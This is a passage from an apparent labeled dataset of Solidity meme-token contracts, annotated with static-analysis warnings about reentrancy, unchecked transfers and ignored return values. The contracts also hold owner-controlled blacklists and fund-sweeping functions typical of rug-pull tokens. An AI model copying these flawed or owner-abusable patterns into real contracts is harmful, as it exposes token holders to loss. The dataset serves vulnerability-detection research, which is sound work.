0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 523ad41\n\t\t// reentrancy-eth | ID: a30e311\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 523ad41\n\t\t// unused-return | ID: b0219db\n\t\t// reentrancy-eth | ID: a30e311\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 523ad41\n\t\t// unused-return | ID: 7494bce\n\t\t// reentrancy-eth | ID: a30e311\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 523ad41\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a30e311\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 87fe7b2): VampireAlien.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 87fe7b2: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 87fe7b2\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10078.sol",
"size_bytes": 21217,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Trillions is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e78443): Trillions._taxWallet should be constant \n\t// Recommendation for 2e78443: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0xc229B20dEd023cB98B23fcdA78D77615B9304646);\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b5f10e): Trillions._initialBuyTax should be constant \n\t// Recommendation for 8b5f10e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52661d2): Trillions._initialSellTax should be constant \n\t// Recommendation for 52661d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07acaf0): Trillions._reduceBuyTaxAt should be constant \n\t// Recommendation for 07acaf0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6b9db5): Trillions._reduceSellTaxAt should be constant \n\t// Recommendation for d6b9db5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a257ed3): Trillions._preventSwapBefore should be constant \n\t// Recommendation for a257ed3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trillions\";\n\n string private constant _symbol = unicode\"Trillions\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e75ec89): Trillions._taxSwapThreshold should be constant \n\t// Recommendation for e75ec89: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbf96b1): Trillions._maxTaxSwap should be constant \n\t// Recommendation for fbf96b1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8400000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48fc886): Trillions.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 48fc886: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2642096): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2642096: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80fa6e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80fa6e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2642096\n\t\t// reentrancy-benign | ID: 80fa6e6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2642096\n\t\t// reentrancy-benign | ID: 80fa6e6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42196ea): Trillions._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 42196ea: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 80fa6e6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2642096\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cfc92ef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cfc92ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8431a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8431a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cfc92ef\n\t\t\t\t// reentrancy-eth | ID: d8431a2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cfc92ef\n\t\t\t\t\t// reentrancy-eth | ID: d8431a2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d8431a2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d8431a2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d8431a2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cfc92ef\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d8431a2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d8431a2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cfc92ef\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cfc92ef\n\t\t// reentrancy-events | ID: 2642096\n\t\t// reentrancy-benign | ID: 80fa6e6\n\t\t// reentrancy-eth | ID: d8431a2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cfc92ef\n\t\t// reentrancy-events | ID: 2642096\n\t\t// reentrancy-eth | ID: d8431a2\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b5f1548): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b5f1548: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bc6d26a): Trillions.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bc6d26a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ec5225): Trillions.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8ec5225: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c980241): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c980241: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b5f1548\n\t\t// reentrancy-eth | ID: c980241\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b5f1548\n\t\t// unused-return | ID: 8ec5225\n\t\t// reentrancy-eth | ID: c980241\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b5f1548\n\t\t// unused-return | ID: bc6d26a\n\t\t// reentrancy-eth | ID: c980241\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b5f1548\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c980241\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a9292fb): Trillions.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for a9292fb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: a9292fb\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10079.sol",
"size_bytes": 19876,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GPT2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec82772): GPT2._taxWallet should be immutable \n\t// Recommendation for ec82772: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f24670): GPT2._initialBuyTax should be constant \n\t// Recommendation for 4f24670: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb02326): GPT2._initialSellTax should be constant \n\t// Recommendation for fb02326: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 26;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcb3158): GPT2._reduceBuyTaxAt should be constant \n\t// Recommendation for dcb3158: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ef0222): GPT2._reduceSellTaxAt should be constant \n\t// Recommendation for 2ef0222: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f56bb98): GPT2._preventSwapBefore should be constant \n\t// Recommendation for f56bb98: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GPT2 Official\";\n\n string private constant _symbol = unicode\"GPT2\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f756e9): GPT2._taxSwapThreshold should be constant \n\t// Recommendation for 7f756e9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8202e5d): GPT2._maxTaxSwap should be constant \n\t// Recommendation for 8202e5d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aa28b22): GPT2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aa28b22: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ca3a7c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ca3a7c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5746de5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5746de5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ca3a7c3\n\t\t// reentrancy-benign | ID: 5746de5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ca3a7c3\n\t\t// reentrancy-benign | ID: 5746de5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3715425): GPT2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3715425: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5746de5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ca3a7c3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cc1c4cd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cc1c4cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 98147bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 98147bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cc1c4cd\n\t\t\t\t// reentrancy-eth | ID: 98147bb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) 